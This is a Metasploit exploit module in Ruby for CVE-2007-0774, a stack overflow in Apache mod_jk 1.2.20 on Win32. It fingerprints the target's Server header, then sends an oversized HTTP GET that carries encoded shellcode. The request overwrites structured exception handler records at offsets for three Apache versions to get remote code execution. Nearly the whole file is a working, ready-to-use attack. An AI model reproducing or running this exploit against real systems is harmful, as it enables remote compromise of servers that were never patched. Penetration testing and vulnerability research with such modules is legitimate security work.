require 'msf/core'

module Msf

class Exploits::Windows::Http::Apache_Mod_JK < Msf::Exploit::Remote

  include Exploit::Remote::Tcp
  include Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Apache mod_jk 1.2.20 Buffer Overflow',
      'Description'    => %q{
        This is a stack overflow exploit for mod_jk 1.2.20.
        Should work on any Win32 OS.
      },
      'Author'         => 'Nicob <nicob[at]nicob.net>',
      'Version'        => '$Revision: 4961 $',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'BID', '22791'],
          [ 'CVE', 'CVE-2007-0774' ],
          [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-008.html'],

        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 4000,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
          'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
          'MaxNops'  => 0,
        },
      'Platform'       => 'win',
      'Targets'        => 
        [
          # POP/POP/RET in mod_jk 1.2.20 (Apache 1.3.37, 2.0.58 and 2.2.3)
          ['mod_jk 1.2.20 (Apache 1.3.x/2.0.x/2.2.x) (any win32 OS/language)', { 'Ret' => 0x6a6b8ef1 }],
        ],
      'DefaultTarget'  => 0))
      
      register_options( [ Opt::RPORT(80) ], self.class )
  end

  def check
    connect

    sock.put("GET / HTTP/1.0\r\n\r\n")
    resp = sock.get_once
    disconnect
      
      if (resp and (m = resp.match(/Server: Apache\/(.*) \(Win32\)(.*) mod_jk\/1.2.20/))) then
        print_status("Apache version detected : #{m[1]}")
        return Exploit::CheckCode::Appears
      else
        return Exploit::CheckCode::Safe
      end
  end

  def exploit
    connect

    uri_start  = "GET /"
    uri_end    = ".html HTTP/1.0\r\n\r\n"
    sc_base    = 16

    shellcode  = payload.encoded
    sploit     = Rex::Text.rand_text_alphanumeric(5001, payload_badchars)
    sploit[sc_base, shellcode.length] = shellcode

    # 16 : Apache/1.3.37 (Win32) mod_jk/1.2.20
    # 20 : Apache/2.0.59 (Win32) mod_jk/1.2.20
    # 21 : Apache/2.2.3  (Win32) mod_jk/1.2.20
   
    seh_base = 4087
    [ 16, 20, 21 ].each { |x|
      seh_offset = seh_base + (16 * x)
      sploit[seh_offset - 9, 5] = "\xe9" + [sc_base - seh_offset + 4].pack('V')
      sploit[seh_offset - 4, 2] = "\xeb\xf9"
      sploit[seh_offset    , 4] = [ target.ret ].pack('V')
      print_status("Inserting custom SEH at offset #{seh_offset} ...")
    }
    
    print_status("Trying target #{target.name}...")
    sock.put(uri_start + sploit + uri_end)

    resp = sock.get_once
        if (resp and (m = resp.match(/<title>(.*)<\/title>/i)))
      print_status("The exploit failed : HTTP Status Code '#{m[1]}' received :-(")
    end 

    handler
    disconnect
  end

end
end